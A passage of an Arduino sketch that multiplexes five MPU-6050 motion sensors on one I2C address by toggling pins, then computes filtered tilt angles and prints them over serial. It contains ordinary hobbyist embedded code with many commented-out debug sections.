MPU6050_CLKSEL_1\n#define MPU6050_CLKSEL_Y MPU6050_CLKSEL_2\n#define MPU6050_CLKSEL_Z MPU6050_CLKSEL_3\n#define MPU6050_CLKSEL_EXT_32KHZ MPU6050_CLKSEL_4\n#define MPU6050_CLKSEL_EXT_19_2MHZ MPU6050_CLKSEL_5\n#define MPU6050_CLKSEL_RESERVED MPU6050_CLKSEL_6\n#define MPU6050_CLKSEL_STOP MPU6050_CLKSEL_7\n \n\/\/ PWR_MGMT_2 Register\n\/\/ These are the names for the bits.\n\/\/ Use these only with the bit() macro.\n#define MPU6050_STBY_ZG MPU6050_D0\n#define MPU6050_STBY_YG MPU6050_D1\n#define MPU6050_STBY_XG MPU6050_D2\n#define MPU6050_STBY_ZA MPU6050_D3\n#define MPU6050_STBY_YA MPU6050_D4\n#define MPU6050_STBY_XA MPU6050_D5\n#define MPU6050_LP_WAKE_CTRL0 MPU6050_D6\n#define MPU6050_LP_WAKE_CTRL1 MPU6050_D7\n \n\/\/ Combined definitions for the LP_WAKE_CTRL\n#define MPU6050_LP_WAKE_CTRL_0 (0)\n#define MPU6050_LP_WAKE_CTRL_1 (bit(MPU6050_LP_WAKE_CTRL0))\n#define MPU6050_LP_WAKE_CTRL_2 (bit(MPU6050_LP_WAKE_CTRL1))\n#define MPU6050_LP_WAKE_CTRL_3 (bit(MPU6050_LP_WAKE_CTRL1)|bit(MPU6050_LP_WAKE_CTRL0))\n \n\/\/ Alternative names for the combined definitions\n\/\/ The names uses the Wake-up Frequency.\n#define MPU6050_LP_WAKE_1_25HZ MPU6050_LP_WAKE_CTRL_0\n#define MPU6050_LP_WAKE_2_5HZ MPU6050_LP_WAKE_CTRL_1\n#define MPU6050_LP_WAKE_5HZ MPU6050_LP_WAKE_CTRL_2\n#define MPU6050_LP_WAKE_10HZ MPU6050_LP_WAKE_CTRL_3\n \n \n\/\/ Default I2C address for the MPU-6050 is 0x68.\n\/\/ But only if the AD0 pin is low.\n\/\/ Some sensor boards have AD0 high, and the\n\/\/ I2C address thus becomes 0x69.\n#define MPU6050_I2C_ADDRESS 0x69\n \n int flag=6;\n\/\/ Declaring an union for the registers and the axis values.\n\/\/ The byte order does not match the byte order of\n\/\/ the compiler and AVR chip.\n\/\/ The AVR chip (on the Arduino board) has the Low Byte\n\/\/ at the lower address.\n\/\/ But the MPU-6050 has a different order: High Byte at\n\/\/ lower address, so that has to be corrected.\n\/\/ The register part \"reg\" is only used internally,\n\/\/ and are swapped in code.\n\ntypedef union accel_t_gyro_union\n{\n struct\n {\n uint8_t x_accel_h;\n uint8_t x_accel_l;\n uint8_t y_accel_h;\n uint8_t y_accel_l;\n uint8_t z_accel_h;\n uint8_t z_accel_l;\n uint8_t x_gyro_h;\n uint8_t x_gyro_l;\n uint8_t y_gyro_h;\n uint8_t y_gyro_l;\n uint8_t z_gyro_h;\n uint8_t z_gyro_l;\n } reg;\n struct\n {\n int16_t x_accel;\n int16_t y_accel;\n int16_t z_accel;\n int16_t x_gyro;\n int16_t y_gyro;\n int16_t z_gyro;\n } value;\n};\n\nint read_gyro_accel_vals(uint8_t* accel_t_gyro_ptr) {\n \/\/ Read the raw values.\n \/\/ Read 14 bytes at once, \n \/\/ containing acceleration, temperature and gyro.\n \/\/ With the default settings of the MPU-6050,\n \/\/ there is no filter enabled, and the values\n \/\/ are not very stable. Returns the error value\n \n accel_t_gyro_union* accel_t_gyro = (accel_t_gyro_union *) accel_t_gyro_ptr;\n \n int error = MPU6050_read (MPU6050_ACCEL_XOUT_H, (uint8_t *) accel_t_gyro, sizeof(*accel_t_gyro));\n\n \/\/ Swap all high and low bytes.\n \/\/ After this, the registers values are swapped, \n \/\/ so the structure name like x_accel_l does no \n \/\/ longer contain the lower byte.\n uint8_t swap;\n #define SWAP(x,y) swap = x; x = y; y = swap\n\n SWAP ((*accel_t_gyro).reg.x_accel_h, (*accel_t_gyro).reg.x_accel_l);\n SWAP ((*accel_t_gyro).reg.y_accel_h, (*accel_t_gyro).reg.y_accel_l);\n SWAP ((*accel_t_gyro).reg.z_accel_h, (*accel_t_gyro).reg.z_accel_l);\n SWAP ((*accel_t_gyro).reg.x_gyro_h, (*accel_t_gyro).reg.x_gyro_l);\n SWAP ((*accel_t_gyro).reg.y_gyro_h, (*accel_t_gyro).reg.y_gyro_l);\n SWAP ((*accel_t_gyro).reg.z_gyro_h, (*accel_t_gyro).reg.z_gyro_l);\n\n return error;\n}\n\nunsigned long last_read_time[5];\nfloat last_x_angle[5]; \/\/ These are the filtered angles\nfloat last_y_angle[5];\nfloat last_z_angle[5]; \nfloat last_gyro_x_angle[5]; \/\/ Store the gyro angles to compare drift\nfloat last_gyro_y_angle[5];\nfloat last_gyro_z_angle[5];\n\n\nvoid set_last_read_angle_data(unsigned long time, float x, float y, float z, float x_gyro, float y_gyro, float z_gyro, int a) {\n last_read_time[a] = time;\n last_x_angle[a] = x;\n last_y_angle[a] = y;\n last_z_angle[a] = z;\n last_gyro_x_angle[a] = x_gyro;\n last_gyro_y_angle[a] = y_gyro;\n last_gyro_z_angle[a] = z_gyro;\n}\n\ninline unsigned long get_last_time(int a) {return last_read_time[a];}\ninline float get_last_x_angle(int a) {return last_x_angle[a];}\ninline float get_last_y_angle(int a) {return last_y_angle[a];}\ninline float get_last_z_angle(int a) {return last_z_angle[a];}\ninline float get_last_gyro_x_angle(int a) {return last_gyro_x_angle[a];}\ninline float get_last_gyro_y_angle(int a) {return last_gyro_y_angle[a];}\ninline float get_last_gyro_z_angle(int a) {return last_gyro_z_angle[a];}\n\nfloat base_x_accel[5];\nfloat base_y_accel[5];\nfloat base_z_accel[5];\n\nfloat base_x_gyro[5];\nfloat base_y_gyro[5];\nfloat base_z_gyro[5];\n\n\nconst int MPU_addr=0x69; \/\/ I2C address of the MPU-6050\n\/\/int16_t AcX,AcY,AcZ,Tmp,GyX,GyY,GyZ;\n\nvoid setup(){\n int error;\n uint8_t c;\n Wire.begin();\n \n Serial.begin(115200);\n Serial.println(F(\"InvenSense MPU-6050\"));\n Serial.println(F(\"June 2012\"));\n \n while (!Serial); \/\/ Leonardo: wait for serial monitor\n int i;\n pinMode(12,OUTPUT);\n digitalWrite(12,LOW);\n for(i=6;i<=9;i++)\n {\n for(int j=6;j<=12;j++)\n {\n if(i!=j)\n {\n pinMode(j,OUTPUT);\n digitalWrite(j,LOW);\n }\n }\n pinMode(i,OUTPUT);\n digitalWrite(i,HIGH);\n error = MPU6050_read (MPU6050_WHO_AM_I, &c, 1);\n Serial.print(F(\"WHO_AM_I : \"));\n Serial.print(c,HEX);\n Serial.print(F(\", error = \"));\n Serial.println(error,DEC);\n \n \/\/ According to the datasheet, the 'sleep' bit\n \/\/ should read a '1'.\n \/\/ That bit has to be cleared, since the sensor\n \/\/ is in sleep mode at power-up.\n error = MPU6050_read (MPU6050_PWR_MGMT_1, &c, 1);\n Serial.print(F(\"PWR_MGMT_1 : \"));\n Serial.print(c,HEX);\n Serial.print(F(\", error = \"));\n Serial.println(error,DEC);\n \n \n \/\/ Clear the 'sleep' bit to start the sensor.\n MPU6050_write_reg (MPU6050_PWR_MGMT_1, 0);\n Serial.println(\"\\nI2C Scanner\");\n }\n pinMode(9,OUTPUT);\n digitalWrite(9,LOW);\n pinMode(12,OUTPUT);\n digitalWrite(12,HIGH);\n error = MPU6050_read (MPU6050_WHO_AM_I, &c, 1);\n Serial.print(F(\"WHO_AM_I : \"));\n Serial.print(c,HEX);\n Serial.print(F(\", error = \"));\n Serial.println(error,DEC);\n \n \/\/ According to the datasheet, the 'sleep' bit\n \/\/ should read a '1'.\n \/\/ That bit has to be cleared, since the sensor\n \/\/ is in sleep mode at power-up.\n error = MPU6050_read (MPU6050_PWR_MGMT_1, &c, 1);\n Serial.print(F(\"PWR_MGMT_1 : \"));\n Serial.print(c,HEX);\n Serial.print(F(\", error = \"));\n Serial.println(error,DEC);\n \n \n \/\/ Clear the 'sleep' bit to start the sensor.\n MPU6050_write_reg (MPU6050_PWR_MGMT_1, 0);\n mySerial.begin(115200);\n calibrate_sensor1();\n set_last_read_angle_data(millis(), 0, 0, 0, 0, 0, 0, 0);\n calibrate_sensor2();\n set_last_read_angle_data(millis(), 0, 0, 0, 0, 0, 0, 1);\n calibrate_sensor3();\n set_last_read_angle_data(millis(), 0, 0, 0, 0, 0, 0, 2);\n calibrate_sensor4();\n set_last_read_angle_data(millis(), 0, 0, 0, 0, 0, 0, 3);\n calibrate_sensor5();\n set_last_read_angle_data(millis(), 0, 0, 0, 0, 0, 0, 4);\n}\n\n\n\n\nvoid loop(){\n\nbyte error, address;\naddress=105;\n \/\/int nDevices;\n \n \/\/Serial.println(F(\"Scanning I2C bus (7-bit addresses) ...\"));\n \/\/nDevices = 0;\n if(flag==6)\n {\n mpunumber1();\n \/\/delay(1000);\n }\n if(flag==7)\n {\n mpunumber2();\n \/\/delay(1000);\n }\n if(flag==8)\n {\n mpunumber3();\n \/\/delay(1000);\n }\n if(flag==9)\n {\n mpunumber4();\n \/\/delay(1000);\n }\n \n if(flag==10)\n {\n mpunumber5();\n flag=6;\n \/\/delay(1000);\n }\n else\n ++flag;\n mySerial.flush();\n \/\/ The i2c_scanner uses the return value of\n \/\/ the Write.endTransmisstion to see if\n \/\/ a device did acknowledge to the address.\n \/*Wire.beginTransmission(address);\n error = Wire.endTransmission();\n \n if (error == 0)\n {\n Serial.print(\"MPU number : \");\n Serial.println(flag-5); \n Serial.print(F(\"I2C device found at address 0x\"));\n if (address<16)\n Serial.print(F(\"0\"));\n Serial.print(address,HEX);\n Serial.println(F(\" !\"));\n \n int error;\n double dT;\n accel_t_gyro_union accel_t_gyro;\n \n \n Serial.println(F(\"\"));\n Serial.println(F(\"MPU-6050\"));\n \n \/\/ Read the raw values.\n \/\/ Read 14 bytes at once,\n \/\/ containing acceleration, temperature and gyro.\n \/\/ With the default settings of the MPU-6050,\n \/\/ there is no filter enabled, and the values\n \/\/ are not very stable.\n error = MPU6050_read (MPU6050_ACCEL_XOUT_H, (uint8_t *) &accel_t_gyro, sizeof(accel_t_gyro));\n Serial.print(F(\"Read accel, temp and gyro, error = \"));\n Serial.println(error,DEC);\n \n \n \/\/ Swap all high and low bytes.\n \/\/ After this, the registers values are swapped,\n \/\/ so the structure name like x_accel_l does no\n \/\/ longer contain the lower byte.\n uint8_t swap;\n #define SWAP(x,y) swap = x; x = y; y = swap\n \n SWAP (accel_t_gyro.reg.x_accel_h, accel_t_gyro.reg.x_accel_l);\n SWAP (accel_t_gyro.reg.y_accel_h, accel_t_gyro.reg.y_accel_l);\n SWAP (accel_t_gyro.reg.z_accel_h, accel_t_gyro.reg.z_accel_l);\n SWAP (accel_t_gyro.reg.t_h, accel_t_gyro.reg.t_l);\n SWAP (accel_t_gyro.reg.x_gyro_h, accel_t_gyro.reg.x_gyro_l);\n SWAP (accel_t_gyro.reg.y_gyro_h, accel_t_gyro.reg.y_gyro_l);\n SWAP (accel_t_gyro.reg.z_gyro_h, accel_t_gyro.reg.z_gyro_l);\n \n \n \/\/ Print the raw acceleration values\n \n Serial.print(F(\"accel x,y,z: \"));\n mySerial.println(\"The Accl X value is : \");\n \/\/Serial.print(accel_t_gyro.value.x_accel, DEC);\n \/\/Serial.print(F(\", \"));\n mySerial.print(accel_t_gyro.value.x_accel);\n mySerial.print(\"\\n\");\n mySerial.println(\"The Accl Y value is : \");\n\/\/Serial.print(accel_t_gyro.value.y_accel, DEC);\n mySerial.print(accel_t_gyro.value.y_accel);\n mySerial.print(\"\\n\");\n\n \/\/ Serial.print(F(\", \"));\n mySerial.println(\"The Accl Z value is : \");\n\n \/\/Serial.print(accel_t_gyro.value.z_accel, DEC);\n mySerial.print(accel_t_gyro.value.z_accel);\n\n \/\/Serial.println(F(\"\"));\n mySerial.print(\"\\n\");\n\n \n \n \/\/ The temperature sensor is -40 to +85 degrees Celsius.\n \/\/ It is a signed integer.\n \/\/ According to the datasheet:\n \/\/ 340 per degrees Celsius, -512 at 35 degrees.\n \/\/ At 0 degrees: -512 - (340 * 35) = -12412\n \n \/*Serial.print(F(\"temperature: \"));\n dT = ( (double) accel_t_gyro.value.temperature + 12412.0) \/ 340.0;\n Serial.print(dT, 3);\n Serial.print(F(\" degrees Celsius\"));\n Serial.println(F(\"\"));\n \n \n \/\/ Print the raw gyro values.\n \n Serial.print(F(\"gyro x,y,z : \"));\n mySerial.println(\"The Gyro X value is : \");\n mySerial.print(accel_t_gyro.value.x_gyro);\n mySerial.print(\"\\n\");\n \/\/Serial.print(accel_t_gyro.value.x_gyro, DEC);\n \/\/Serial.print(F(\", \"));\n \/\/Serial.print(accel_t_gyro.value.y_gyro, DEC);\n mySerial.println(\"The Gyro Y value is : \");\n mySerial.print(accel_t_gyro.value.y_gyro);\n mySerial.print(\"\\n\");\n\n \/\/Serial.print(F(\", \"));\n \/\/Serial.print(accel_t_gyro.value.z_gyro, DEC);\n mySerial.println(\"The Gyro Z value is : \");\n mySerial.print(accel_t_gyro.value.z_gyro);\n mySerial.print(\"\\n\");\n \n nDevices++;\n \n }\n else if (error==4)\n {\n Serial.print(F(\"Unknown error at address 0x\"));\n if (address<16)\n Serial.print(\"0\");\n Serial.println(address,HEX);\n } \n \n if (nDevices == 0)\n Serial.println(\"No I2C devices found\\n\");\n else \n Serial.println(\"done\\n\");\n\n if(flag==10)\n flag=6;\n else\n flag++;\n \/\/delay(5000); \/\/ wait 5 seconds for next scan*\/\n}\n\n\n\/\/ --------------------------------------------------------\n\/\/ MPU6050_read\n\/\/\n\/\/ This is a common function to read multiple bytes\n\/\/ from an I2C device.\n\/\/\n\/\/ It uses the boolean parameter for Wire.endTransMission()\n\/\/ to be able to hold or release the I2C-bus.\n\/\/ This is implemented in Arduino 1.0.1.\n\/\/\n\/\/ Only this function is used to read.\n\/\/ There is no function for a single byte.\n\/\/\nint MPU6050_read(int start, uint8_t *buffer, int size)\n{\n int i, n, error;\n \n Wire.beginTransmission(MPU6050_I2C_ADDRESS);\n n = Wire.write(start);\n if (n != 1)\n return (-10);\n \n n = Wire.endTransmission(false); \/\/ hold the I2C-bus\n if (n != 0)\n return (n);\n \n \/\/ Third parameter is true: relase I2C-bus after data is read.\n Wire.requestFrom(MPU6050_I2C_ADDRESS, size, true);\n i = 0;\n while(Wire.available() && i<size)\n {\n buffer[i++]=Wire.read();\n }\n if ( i != size)\n return (-11);\n \n return (0); \/\/ return : no error\n}\n \n \n\/\/ --------------------------------------------------------\n\/\/ MPU6050_write\n\/\/\n\/\/ This is a common function to write multiple bytes to an I2C device.\n\/\/\n\/\/ If only a single register is written,\n\/\/ use the function MPU_6050_write_reg().\n\/\/\n\/\/ Parameters:\n\/\/ start : Start address, use a define for the register\n\/\/ pData : A pointer to the data to write.\n\/\/ size : The number of bytes to write.\n\/\/\n\/\/ If only a single register is written, a pointer\n\/\/ to the data has to be used, and the size is\n\/\/ a single byte:\n\/\/ int data = 0; \/\/ the data to write\n\/\/ MPU6050_write (MPU6050_PWR_MGMT_1, &c, 1);\n\/\/\nint MPU6050_write(int start, const uint8_t *pData, int size)\n{\n int n, error;\n \n Wire.beginTransmission(MPU6050_I2C_ADDRESS);\n n = Wire.write(start); \/\/ write the start address\n if (n != 1)\n return (-20);\n \n n = Wire.write(pData, size); \/\/ write data bytes\n if (n != size)\n return (-21);\n \n error = Wire.endTransmission(true); \/\/ release the I2C-bus\n if (error != 0)\n return (error);\n \n return (0); \/\/ return : no error\n}\n \n\/\/ --------------------------------------------------------\n\/\/ MPU6050_write_reg\n\/\/\n\/\/ An extra function to write a single register.\n\/\/ It is just a wrapper around the MPU_6050_write()\n\/\/ function, and it is only a convenient function\n\/\/ to make it easier to write a single register.\n\/\/\nint MPU6050_write_reg(int reg, uint8_t data)\n{\n int error;\n \n error = MPU6050_write(reg, &data, 1);\n \n return (error);\n}\n\n\nvoid mpunumber1()\n{\n mySerial.println(\"It is entering the Thumb Function\");\n for(int j=7;j<=9;j++)\n {\n \n pinMode(j,OUTPUT);\n digitalWrite(j,LOW);\n \n } \n pinMode(12,OUTPUT);\n digitalWrite(12,LOW);\n pinMode(6,OUTPUT);\n digitalWrite(6,HIGH);\n byte error, address;\n address=105;\n Wire.beginTransmission(address);\n error = Wire.endTransmission();\n\n mySerial.println(\"The error is :\");\n mySerial.println(error);\n if (error == 0)\n { \n \/*Serial.print(\"MPU number : \");\n Serial.println(flag-5); \n Serial.print(F(\"I2C device found at address 0x\"));\n if (address<16)\n Serial.print(F(\"0\"));\n Serial.print(address,HEX);\n Serial.println(F(\" !\"));*\/\n \n int error;\n double dT;\n accel_t_gyro_union accel_t_gyro;\n \n error = read_gyro_accel_vals((uint8_t*) &accel_t_gyro);\n unsigned long t_now = millis();\n \/*Serial.println(F(\"\"));\n Serial.println(F(\"MPU-6050\"));*\/\n \n \/\/ Read the raw values.\n \/\/ Read 14 bytes at once,\n \/\/ containing acceleration, temperature and gyro.\n \/\/ With the default settings of the MPU-6050,\n \/\/ there is no filter enabled, and the values\n \/\/ are not very stable.\n \/\/error = MPU6050_read (MPU6050_ACCEL_XOUT_H, (uint8_t *) &accel_t_gyro, sizeof(accel_t_gyro));\n \/* Serial.print(F(\"Read accel, temp and gyro, error = \"));\n Serial.println(error,DEC);*\/\n \n \n \/\/ Swap all high and low bytes.\n \/\/ After this, the registers values are swapped,\n \/\/ so the structure name like x_accel_l does no\n \/\/ longer contain the lower byte.\n \/*uint8_t swap;\n #define SWAP(x,y) swap = x; x = y; y = swap\n \n SWAP (accel_t_gyro.reg.x_accel_h, accel_t_gyro.reg.x_accel_l);\n SWAP (accel_t_gyro.reg.y_accel_h, accel_t_gyro.reg.y_accel_l);\n SWAP (accel_t_gyro.reg.z_accel_h, accel_t_gyro.reg.z_accel_l);\n SWAP (accel_t_gyro.reg.x_gyro_h, accel_t_gyro.reg.x_gyro_l);\n SWAP (accel_t_gyro.reg.y_gyro_h, accel_t_gyro.reg.y_gyro_l);\n SWAP (accel_t_gyro.reg.z_gyro_h, accel_t_gyro.reg.z_gyro_l);*\/\n \n \n \/\/ Print the raw acceleration values\n \n \/\/ Serial.print(F(\"accel x,y,z: \"));\n \/*mySerial.println(\"The Accl X value from Thumb is : \");\n \/\/Serial.print(accel_t_gyro.value.x_accel, DEC);\n \/\/Serial.print(F(\", \"));\n mySerial.print(accel_t_gyro.value.x_accel);\n mySerial.print(\"\\n\");\n mySerial.println(\"The Accl Y value from Thumb is : \");\n\/\/Serial.print(accel_t_gyro.value.y_accel, DEC);\n mySerial.print(accel_t_gyro.value.y_accel);\n mySerial.print(\"\\n\");\n\n \/\/ Serial.print(F(\", \"));\n mySerial.println(\"The Accl Z value from Thumb is : \");\n\n \/\/Serial.print(accel_t_gyro.value.z_accel, DEC);\n mySerial.print(accel_t_gyro.value.z_accel);\n\n \/\/Serial.println(F(\"\"));\n mySerial.print(\"\\n\");*\/\n\n \n \n \/\/ The temperature sensor is -40 to +85 degrees Celsius.\n \/\/ It is a signed integer.\n \/\/ According to the datasheet:\n \/\/ 340 per degrees Celsius, -512 at 35 degrees.\n \/\/ At 0 degrees: -512 - (340 * 35) = -12412\n \n \/*Serial.print(F(\"temperature: \"));\n dT = ( (double) accel_t_gyro.value.temperature + 12412.0) \/ 340.0;\n Serial.print(dT, 3);\n Serial.print(F(\" degrees Celsius\"));\n Serial.println(F(\"\"));*\/\n \n \n \/\/ Print the raw gyro values.\n \n \/\/Serial.print(F(\"gyro x,y,z : \"));\n \/*mySerial.println(\"The Gyro X value from Thumb is : \");\n mySerial.print(accel_t_gyro.value.x_gyro);\n mySerial.print(\"\\n\");\n \/\/Serial.print(accel_t_gyro.value.x_gyro, DEC);\n \/\/Serial.print(F(\", \"));\n \/\/Serial.print(accel_t_gyro.value.y_gyro, DEC);\n mySerial.println(\"The Gyro Y value from Thumb is : \");\n mySerial.print(accel_t_gyro.value.y_gyro);\n mySerial.print(\"\\n\");\n\n \/\/Serial.print(F(\", \"));\n \/\/Serial.print(accel_t_gyro.value.z_gyro, DEC);\n mySerial.println(\"The Gyro Z value from Thumb is : \");\n mySerial.print(accel_t_gyro.value.z_gyro);\n mySerial.print(\"\\n\");*\/\n \/\/mySerial.println(\"Thumb angle values\");\n float FS_SEL = 131;\n \n float gyro_x = (accel_t_gyro.value.x_gyro - base_x_gyro[0])\/FS_SEL;\n float gyro_y = (accel_t_gyro.value.y_gyro - base_y_gyro[0])\/FS_SEL;\n float gyro_z = (accel_t_gyro.value.z_gyro - base_z_gyro[0])\/FS_SEL;\n \n \n \/\/ Get raw acceleration values\n \/\/float G_CONVERT = 16384;\n float accel_x = accel_t_gyro.value.x_accel;\n float accel_y = accel_t_gyro.value.y_accel;\n float accel_z = accel_t_gyro.value.z_accel;\n \n \/\/ Get angle values from accelerometer\n float RADIANS_TO_DEGREES = 180\/3.14159;\n\/\/ float accel_vector_length = sqrt(pow(accel_x,2) + pow(accel_y,2) + pow(accel_z,2));\n float accel_angle_y = atan(-1*accel_x\/sqrt(pow(accel_y,2) + pow(accel_z,2)))*RADIANS_TO_DEGREES;\n float accel_angle_x = atan(accel_y\/sqrt(pow(accel_x,2) + pow(accel_z,2)))*RADIANS_TO_DEGREES;\n\n float accel_angle_z = 0;\n \n \/\/ Compute the (filtered) gyro angles\n float dt =(t_now - get_last_time(0))\/1000.0;\n float gyro_angle_x = gyro_x*dt + get_last_x_angle(0);\n float gyro_angle_y = gyro_y*dt + get_last_y_angle(0);\n float gyro_angle_z = gyro_z*dt + get_last_z_angle(0);\n \n \/\/ Compute the drifting gyro angles\n float unfiltered_gyro_angle_x = gyro_x*dt + get_last_gyro_x_angle(0);\n float unfiltered_gyro_angle_y = gyro_y*dt + get_last_gyro_y_angle(0);\n float unfiltered_gyro_angle_z = gyro_z*dt + get_last_gyro_z_angle(0);\n \n \/\/ Apply the complementary filter to figure out the change in angle - choice of alpha is\n \/\/ estimated now. Alpha depends on the sampling rate...\n float alpha = 0.96;\n float angle_x = alpha*gyro_angle_x + (1.0 - alpha)*accel_angle_x;\n float angle_y = alpha*gyro_angle_y + (1.0 - alpha)*accel_angle_y;\n float angle_z = gyro_angle_z; \/\/Accelerometer doesn't give z-angle\n \n \/\/ Update the saved data with the latest values\n set_last_read_angle_data(t_now, angle_x, angle_y, angle_z, unfiltered_gyro_angle_x, unfiltered_gyro_angle_y, unfiltered_gyro_angle_z, 0);\n \n \/\/ Send the data to the serial port\n \/* mySerial.print(F(\"DEL:\")); \/\/Delta T\n mySerial.print(dt, DEC);\n mySerial.print(F(\"#ACC:\")); \/\/Accelerometer angle\n mySerial.print(accel_angle_x, 2);\n mySerial.print(F(\",\"));\n mySerial.print(accel_angle_y, 2);\n mySerial.print(F(\",\"));\n mySerial.print(accel_angle_z, 2);\n mySerial.print(F(\"#GYR:\"));\n Serial.print(unfiltered_gyro_angle_x, 2); \/\/Gyroscope angle\n Serial.print(F(\",\"));\n Serial.print(unfiltered_gyro_angle_y, 2);\n Serial.print(F(\",\"));\n Serial.print(unfiltered_gyro_angle_z, 2);*\/\n mySerial.println(F(\"@ \")); \/\/Filtered angle\n mySerial.print(angle_x, DEC);\n mySerial.println(F(\"\"));\n mySerial.print(angle_y, DEC);\n mySerial.println(F(\"\"));\n mySerial.print(angle_z, DEC);\n mySerial.println(F(\"\"));\n \n \/\/ Delay so we don't swamp the serial port\n \n \/\/ nDevices++;\n \n }\n else if (error==4)\n {\n Serial.print(F(\"Unknown error at address 0x\"));\n if (address<16)\n Serial.print(\"0\");\n Serial.println(address,HEX);\n } \n \n \n}\n\n\nvoid mpunumber2()\n{\n for(int j=6;j<=9;j++)\n {\n \n pinMode(j,OUTPUT);\n digitalWrite(j,LOW);\n \n } \n pinMode(12,OUTPUT);\n digitalWrite(12,LOW);\n pinMode(7,OUTPUT);\n digitalWrite(7,HIGH);\n byte error, address;\n address=105;\n Wire.beginTransmission(address);\n error = Wire.endTransmission();\n \n if (error == 0)\n {\n \/*Serial.print(\"MPU number : \");\n Serial.println(flag-5); \n Serial.print(F(\"I2C device found at address 0x\"));\n if (address<16)\n Serial.print(F(\"0\"));\n Serial.print(address,HEX);\n Serial.println(F(\" !\"));*\/\n \n int error;\n double dT;\n accel_t_gyro_union accel_t_gyro;\n \n error = read_gyro_accel_vals((uint8_t*) &accel_t_gyro);\n unsigned long t_now = millis();\n \/*Serial.println(F(\"\"));\n Serial.println(F(\"MPU-6050\"));*\/\n \n \/\/ Read the raw values.\n \/\/ Read 14 bytes at once,\n \/\/ containing acceleration, temperature and gyro.\n \/\/ With the default settings of the MPU-6050,\n \/\/ there is no filter enabled, and the values\n \/\/ are not very stable.\n \/\/error = MPU6050_read (MPU6050_ACCEL_XOUT_H, (uint8_t *) &accel_t_gyro, sizeof(accel_t_gyro));\n \/* Serial.print(F(\"Read accel, temp and gyro, error = \"));\n Serial.println(error,DEC);*\/\n \n \n \/\/ Swap all high and low bytes.\n \/\/ After this, the registers values are swapped,\n \/\/ so the structure name like x_accel_l does no\n \/\/ longer contain the lower byte.\n \/*uint8_t swap;\n #define SWAP(x,y) swap = x; x = y; y = swap\n \n SWAP (accel_t_gyro.reg.x_accel_h, accel_t_gyro.reg.x_accel_l);\n SWAP (accel_t_gyro.reg.y_accel_h, accel_t_gyro.reg.y_accel_l);\n SWAP (accel_t_gyro.reg.z_accel_h, accel_t_gyro.reg.z_accel_l);\n SWAP (accel_t_gyro.reg.x_gyro_h, accel_t_gyro.reg.x_gyro_l);\n SWAP (accel_t_gyro.reg.y_gyro_h, accel_t_gyro.reg.y_gyro_l);\n SWAP (accel_t_gyro.reg.z_gyro_h, accel_t_gyro.reg.z_gyro_l);*\/\n \n \n \/\/ Print the raw acceleration values\n \n \/\/ Serial.print(F(\"accel x,y,z: \"));\n \/*mySerial.println(\"The Accl X value from Thumb is : \");\n \/\/Serial.print(accel_t_gyro.value.x_accel, DEC);\n \/\/Serial.print(F(\", \"));\n mySerial.print(accel_t_gyro.value.x_accel);\n mySerial.print(\"\\n\");\n mySerial.println(\"The Accl Y value from Thumb is : \");\n\/\/Serial.print(accel_t_gyro.value.y_accel, DEC);\n mySerial.print(accel_t_gyro.value.y_accel);\n mySerial.print(\"\\n\");\n\n \/\/ Serial.print(F(\", \"));\n mySerial.println(\"The Accl Z value from Thumb is : \");\n\n \/\/Serial.print(accel_t_gyro.value.z_accel, DEC);\n mySerial.print(accel_t_gyro.value.z_accel);\n\n \/\/Serial.println(F(\"\"));\n mySerial.print(\"\\n\");*\/\n\n \n \n \/\/ The temperature sensor is -40 to +85 degrees Celsius.\n \/\/ It is a signed integer.\n \/\/ According to the datasheet:\n \/\/ 340 per degrees Celsius, -512 at 35 degrees.\n \/\/ At 0 degrees: -512 - (340 * 35) = -12412\n \n \/*Serial.print(F(\"temperature: \"));\n dT = ( (double) accel_t_gyro.value.temperature + 12412.0) \/ 340.0;\n Serial.print(dT, 3);\n Serial.print(F(\" degrees Celsius\"));\n Serial.println(F(\"\"));*\/\n \n \n \/\/ Print the raw gyro values.\n \n \/\/Serial.print(F(\"gyro x,y,z : \"));\n \/*mySerial.println(\"The Gyro X value from Thumb is : \");\n mySerial.print(accel_t_gyro.value.x_gyro);\n mySerial.print(\"\\n\");\n \/\/Serial.print(accel_t_gyro.value.x_gyro, DEC);\n \/\/Serial.print(F(\", \"));\n \/\/Serial.print(accel_t_gyro.value.y_gyro, DEC);\n mySerial.println(\"The Gyro Y value from Thumb is : \");\n mySerial.print(accel_t_gyro.value.y_gyro);\n mySerial.print(\"\\n\");\n\n \/\/Serial.print(F(\", \"));\n \/\/Serial.print(accel_t_gyro.value.z_gyro, DEC);\n mySerial.println(\"The Gyro Z value from Thumb is : \");\n mySerial.print(accel_t_gyro.value.z_gyro);\n mySerial.print(\"\\n\");*\/\n \/\/mySerial.println(\"Thumb angle values\");\n float FS_SEL = 131;\n \n float gyro_x = (accel_t_gyro.value.x_gyro - base_x_gyro[1])\/FS_SEL;\n float gyro_y = (accel_t_gyro.value.y_gyro - base_y_gyro[1])\/FS_SEL;\n float gyro_z = (accel_t_gyro.value.z_gyro - base_z_gyro[1])\/FS_SEL;\n \n \n \/\/ Get raw acceleration values\n \/\/float G_CONVERT = 16384;\n float accel_x = accel_t_gyro.value.x_accel;\n float accel_y = accel_t_gyro.value.y_accel;\n float accel_z = accel_t_gyro.value.z_accel;\n \n \/\/ Get angle values from accelerometer\n float RADIANS_TO_DEGREES = 180\/3.14159;\n\/\/ float accel_vector_length = sqrt(pow(accel_x,2) + pow(accel_y,2) + pow(accel_z,2));\n float accel_angle_y = atan(-1*accel_x\/sqrt(pow(accel_y,2) + pow(accel_z,2)))*RADIANS_TO_DEGREES;\n float accel_angle_x = atan(accel_y\/sqrt(pow(accel_x,2) + pow(accel_z,2)))*RADIANS_TO_DEGREES;\n\n float accel_angle_z = 0;\n \n \/\/ Compute the (filtered) gyro angles\n float dt =(t_now - get_last_time(1))\/1000.0;\n float gyro_angle_x = gyro_x*dt + get_last_x_angle(1);\n float gyro_angle_y = gyro_y*dt + get_last_y_angle(1);\n float gyro_angle_z = gyro_z*dt + get_last_z_angle(1);\n \n \/\/ Compute the drifting gyro angles\n float unfiltered_gyro_angle_x = gyro_x*dt + get_last_gyro_x_angle(1);\n float unfiltered_gyro_angle_y = gyro_y*dt + get_last_gyro_y_angle(1);\n float unfiltered_gyro_angle_z = gyro_z*dt + get_last_gyro_z_angle(1);\n \n \/\/ Apply the complementary filter to figure out the change in angle - choice of alpha is\n \/\/ estimated now. Alpha depends on the sampling rate...\n float alpha = 0.96;\n float angle_x = alpha*gyro_angle_x + (1.0 - alpha)*accel_angle_x;\n float angle_y = alpha*gyro_angle_y + (1.0 - alpha)*accel_angle_y;\n float angle_z = gyro_angle_z; 